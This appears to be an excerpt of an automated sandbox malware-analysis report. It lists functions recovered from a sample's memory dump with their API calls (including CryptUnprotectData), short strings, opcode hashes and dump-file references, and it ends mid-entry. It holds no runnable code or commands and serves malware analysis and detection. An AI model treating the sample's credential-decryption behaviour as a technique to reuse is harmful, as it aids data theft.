Opcode ID: 451c4c910579c5aaed0ba410e50a2a853ddfac14d9361be727038f4e2af4adb6
Instruction ID: 894007a97da034c0ecb5f0ecf2f371f7ea133c351f0c7d13e2c31dcdca24868c
Opcode Fuzzy Hash: 451c4c910579c5aaed0ba410e50a2a853ddfac14d9361be727038f4e2af4adb6
Instruction Fuzzy Hash: C1B227F3A0C6049FE3046E2DEC8567ABBE9EFD4720F1A853DE6C483744EA3558058696

Function 00D43970 Relevance: 4.6, APIs: 3, Instructions: 100comCOMMON

Download Yara Rule

APIs

CoCreateInstance.COMBASE(00D4E120,00000000,00000001,00D4E110,00000000), ref: 00D439A8
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,?,00000104), ref: 00D43A00

Memory Dump Source

Source File: 00000000.00000002.1762237620.0000000000D31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D30000, based on PE: true

Associated: 00000000.00000002.1762225384.0000000000D30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000D5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E79000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000001006000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.000000000101A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000011A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.0000000001281000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765492975.00000000012BD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765610094.0000000001459000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765625771.000000000145A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d30000_file.jbxd

Yara matches

Similarity

API ID: ByteCharCreateInstanceMultiWide
String ID:
API String ID: 123533781-0
Opcode ID: 765435c459fee9f0385211ebcde03005755c8712e302923a1f0c70a57e7082ee
Instruction ID: 2f2c1ecb3e046657970be1df6b63891558cf8c017d288704dde05857fa7af1cd
Opcode Fuzzy Hash: 765435c459fee9f0385211ebcde03005755c8712e302923a1f0c70a57e7082ee
Instruction Fuzzy Hash: E941D870A40A28AFDB24DB58CC95B9BB7B5FB48702F4041D8E658E72D0D771AE85CF60

Function 00D3A2B0 Relevance: 4.6, APIs: 3, Instructions: 51memoryencryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00D3A2D4
LocalAlloc.KERNEL32(00000040,00000000), ref: 00D3A2F3
LocalFree.KERNEL32(?), ref: 00D3A323

Memory Dump Source

Source File: 00000000.00000002.1762237620.0000000000D31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D30000, based on PE: true

Associated: 00000000.00000002.1762225384.0000000000D30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000D5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E79000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000001006000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.000000000101A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000011A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.0000000001281000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765492975.00000000012BD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765610094.0000000001459000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765625771.000000000145A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d30000_file.jbxd

Yara matches

Similarity

API ID: Local$AllocCryptDataFreeUnprotect
String ID:
API String ID: 2068576380-0
Opcode ID: c328219f9a94e77a8f62e73b432af81fd0df6182fac76cddfb4e53792348919d
Instruction ID: 8ff847ff743a85ff4dff562b9c3da7821370b3ec8523a3314683c7e55dfef105
Opcode Fuzzy Hash: c328219f9a94e77a8f62e73b432af81fd0df6182fac76cddfb4e53792348919d
Instruction Fuzzy Hash: 9111FAB8A00209EFDB05DF98D884AAEB7B5FF89300F104559ED5597340D734AE50CFA1

Function 00DA4BA8 Relevance: 3.4, Strings: 2, Instructions: 941COMMON

Download Yara Rule

Strings

__ZN, xrefs: 00DA4FDF
?, xrefs: 00DA54D5

Memory Dump Source

Source File: 00000000.00000002.1762237620.0000000000D5C000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D30000, based on PE: true

Associated: 00000000.00000002.1762225384.0000000000D30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000D31000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E79000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000001006000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.000000000101A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000011A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.0000000001281000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765492975.00000000012BD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765610094.0000000001459000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765625771.000000000145A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d30000_file.jbxd

Yara matches

Similarity

API ID:
String ID: ?$__ZN
API String ID: 0-1427190319
Opcode ID: 5979ebcfade6a94da10809392b5ca83137eebb76b9c6aa0d0269130114abb242
Instruction ID: b30ab793bac785d6bb136820fdeb9fadc5eceae31aa1c67e3412eff1c4172b4a
Opcode Fuzzy Hash: 5979ebcfade6a94da10809392b5ca83137eebb76b9c6aa0d0269130114abb242
Instruction Fuzzy Hash: A9722472908B109BD714CF18D89067AB7E2FFD6310F598A1DF8D55B299D3B0DC418BA2

Function 00D85DB9 Relevance: 2.5, Strings: 1, Instructions: 1234COMMON

Download Yara Rule

Strings

xn--, xrefs: 00D86009

Memory Dump Source

Source File: 00000000.00000002.1762237620.0000000000D5C000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D30000, based on PE: true

Associated: 00000000.00000002.1762225384.0000000000D30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000D31000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E79000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000001006000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.000000000101A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000011A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.0000000001281000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765492975.00000000012BD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765610094.0000000001459000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765625771.000000000145A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d30000_file.jbxd

Yara matches

Similarity

API ID:
String ID: xn--
API String ID: 0-2826155999
Opcode ID: 7df6ecad3ed0aeae1596bd114aa1f7039c484854ff8b1381d6cb73b44afb5762
Instruction ID: 2a1c7e70581d0f926d02e2d9a3524802fe642d94db12d19079424d830665d49d
Opcode Fuzzy Hash: 7df6ecad3ed0aeae1596bd114aa1f7039c484854ff8b1381d6cb73b44afb5762
Instruction Fuzzy Hash: FEA233B1C042688AEF28EB68C8917EDB7B1FF45310F1842AAD5567B281D735DE85CB70

Function 00D84DC8 Relevance: 1.9, APIs: 1, Instructions: 411COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 00D84DF3

Memory Dump Source

Source File: 00000000.00000002.1762237620.0000000000D5C000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D30000, based on PE: true

Associated: 00000000.00000002.1762225384.0000000000D30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000D31000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E79000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000001006000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.000000000101A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000011A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.0000000001281000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765492975.00000000012BD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765610094.0000000001459000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765625771.000000000145A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d30000_file.jbxd

Yara matches

Similarity

API ID: __aulldiv
String ID:
API String ID: 3732870572-0
Opcode ID: c14b47d2e213c3a0e8374cf111387a659401d06af651524ed7eee9bee9842815
Instruction ID: 80d8805f7137c030b3bfa1f046791c9ca8492af86c237c89f0282eaf7de57621
Opcode Fuzzy Hash: c14b47d2e213c3a0e8374cf111387a659401d06af651524ed7eee9bee9842815
Instruction Fuzzy Hash: 9CE1E2316083429FC725EF28C8817AEB7E2EFC9300F59492DE5D997291DB319855CBA2

Function 00D84868 Relevance: 1.9, APIs: 1, Instructions: 400COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 00D84893

Memory Dump Source

Source File: 00000000.00000002.1762237620.0000000000D5C000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D30000, based on PE: true

Associated: 00000000.00000002.1762225384.0000000000D30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000D31000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E79000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000001006000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.000000000101A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000011A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.0000000001281000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765492975.00000000012BD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765610094.0000000001459000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765625771.000000000145A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d30000_file.jbxd

Yara matches

Similarity

API ID: __aulldiv
String ID:
API String ID: 3732870572-0
Opcode ID: 83317d89dfdf25b5cbfc261f48c526b848a7f8a57d589ef9335097789b789f81
Instruction ID: 40ab15d4d158a37a4707faaff9b63966758fe84951e4202d3b9889a6db08423f
Opcode Fuzzy Hash: 83317d89dfdf25b5cbfc261f48c526b848a7f8a57d589ef9335097789b789f81
Instruction Fuzzy Hash: 8AE1D531A083129FCB24EF18C8917AEB7E6EFC5314F15892DE8999B251D730EC45CB66

Function 00D9E258 Relevance: 1.6, Strings: 1, Instructions: 383COMMON

Download Yara Rule

Strings

UNC\, xrefs: 00D9E5B4

Memory Dump Source

Source File: 00000000.00000002.1762237620.0000000000D5C000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D30000, based on PE: true

Associated: 00000000.00000002.1762225384.0000000000D30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000D31000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E79000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000001006000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.000000000101A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000011A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.0000000001281000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765492975.00000000012BD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765610094.0000000001459000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765625771.000000000145A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d30000_file.jbxd

Yara matches

Similarity

API ID:
String ID: UNC\
API String ID: 0-505053535
Opcode ID: f944912daca86eef5da2b02659a6c861781d9d5d66b239bded02d895f8a825b7
Instruction ID: 0f6f2da0eaae96f98cb5f27ee29da996232aaa9708b2e9c80454536739fa806e
Opcode Fuzzy Hash: f944912daca86eef5da2b02659a6c861781d9d5d66b239bded02d895f8a825b7
Instruction Fuzzy Hash: 9BE11A71D042658EEF10CF59C8843BEBBE2AB85318F1D8169D4A46B292D775CD46CBB0

Function 011980DC Relevance: 1.5, Strings: 1, Instructions: 220COMMON

Download Yara Rule

Strings

5;;, xrefs: 011982CC

Memory Dump Source

Source File: 00000000.00000002.1762622235.000000000101A000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D30000, based on PE: true

Associated: 00000000.00000002.1762225384.0000000000D30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000D31000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000D5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E79000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000001006000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000011A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.0000000001281000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765492975.00000000012BD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765610094.0000000001459000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765625771.000000000145A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d30000_file.jbxd

Yara matches

Similarity

API ID:
String ID: 5;;
API String ID: 0-2482663352
Opcode ID: 7d08a50b8516302122a9d95bce803665571eb84045b0b0e82336645aab83827a
Instruction ID: 9c2e181944aa7f28b555bc8395977875fdc8258ec52fee7e8f40f2d1acc517ad
Opcode Fuzzy Hash: 7d08a50b8516302122a9d95bce803665571eb84045b0b0e82336645aab83827a
Instruction Fuzzy Hash: 1661AEB350C204AFE704AF19EC4167AF7E5EF94720F16892DEAC483740EA75A9108A97

Function 010F77F7 Relevance: 1.4, Strings: 1, Instructions: 171COMMON

Download Yara Rule

Strings

D.Fz, xrefs: 010F78F7

Memory Dump Source

Source File: 00000000.00000002.1762622235.000000000101A000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D30000, based on PE: true

Associated: 00000000.00000002.1762225384.0000000000D30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000D31000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000D5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E79000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000001006000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000011A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.0000000001281000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765492975.00000000012BD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765610094.0000000001459000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765625771.000000000145A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d30000_file.jbxd

Yara matches

Similarity

API ID:
String ID: D.Fz
API String ID: 0-286395197
Opcode ID: ac167d50f6085da93700afe13bcf3073b03ff3a6d3777e2f9522b3e7094c944e
Instruction ID: 3a22ddba3f503e4a038a21168c071321591fe9af502d45eeeffb52567cba23e6
Opcode Fuzzy Hash: ac167d50f6085da93700afe13bcf3073b03ff3a6d3777e2f9522b3e7094c944e
Instruction Fuzzy Hash: 10413AF3A183056FE3086E79ECC5776B6C5E794324F294B3DFB94C2384E97988028652

Function 01059905 Relevance: 1.4, Strings: 1, Instructions: 168COMMON

Download Yara Rule

Strings

X#], xrefs: 01059A64

Memory Dump Source

Source File: 00000000.00000002.1762622235.000000000101A000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D30000, based on PE: true

Associated: 00000000.00000002.1762225384.0000000000D30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000D31000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000D5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E79000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000001006000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000011A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.0000000001281000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765492975.00000000012BD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765610094.0000000001459000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765625771.000000000145A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d30000_file.jbxd

Yara matches

Similarity

API ID:
String ID: X#]
API String ID: 0-3553717010
Opcode ID: f721f834ba86e696396ce33389fff5ff9ff4b3607fcefb25ab167f282ac39701
Instruction ID: 002083ec58bd7eae49ada2f6c6103616b7da6a9814a1fd88b40d1925f54ce4cc
Opcode Fuzzy Hash: f721f834ba86e696396ce33389fff5ff9ff4b3607fcefb25ab167f282ac39701
Instruction Fuzzy Hash: 954143F3E0442457E3089939EC1832AB6979BD4720F2F863EDE59A7788FC7A5D0582D1

Function 00D5E544 Relevance: .8, Instructions: 823COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1762237620.0000000000D5C000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D30000, based on PE: true

Associated: 00000000.00000002.1762225384.0000000000D30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000D31000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E79000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000001006000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.000000000101A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000011A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.0000000001281000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765492975.00000000012BD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765610094.0000000001459000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765625771.000000000145A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d30000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e82fb53e6e33c1c46d6227b86d57e629e491dcb0a26417ee9a3c8d3f310dc386
Instruction ID: d52553af341fba4cbea8fee6bb518a45726fe5bd79a7b41e35153fcd8c82825e
Opcode Fuzzy Hash: e82fb53e6e33c1c46d6227b86d57e629e491dcb0a26417ee9a3c8d3f310dc386
Instruction Fuzzy Hash: F182E2B5900F448FD765CF29C880B92B7F1BF5A340F548A2ED9EA8B651DB30B549CB60

Function 00D78E78 Relevance: .6, Instructions: 649COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1762237620.0000000000D5C000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D30000, based on PE: true

Associated: 00000000.00000002.1762225384.0000000000D30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000D31000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E79000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000001006000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.000000000101A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000011A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.0000000001281000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765492975.00000000012BD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765610094.0000000001459000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765625771.000000000145A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d30000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b14a04dd6bdce6d3c84cf2c82878dd7ecb710331ddf643e538226ead79392ace
Instruction ID: 2d953aee0905bcdb61fd47273eb8b1ea44499811a37fd9ed1d3e338fdd458538
Opcode Fuzzy Hash: b14a04dd6bdce6d3c84cf2c82878dd7ecb710331ddf643e538226ead79392ace
Instruction Fuzzy Hash: 144281726047418FC725CF19C0A4665FBE2BF95314F28CA6ED4CE8B792E635E885CB60

Function 00DAAC28 Relevance: .5, Instructions: 501COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1762237620.0000000000D5C000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D30000, based on PE: true

Associated: 00000000.00000002.1762225384.0000000000D30000.00000004.00000001.01000000.00000003.sdmpDownload File
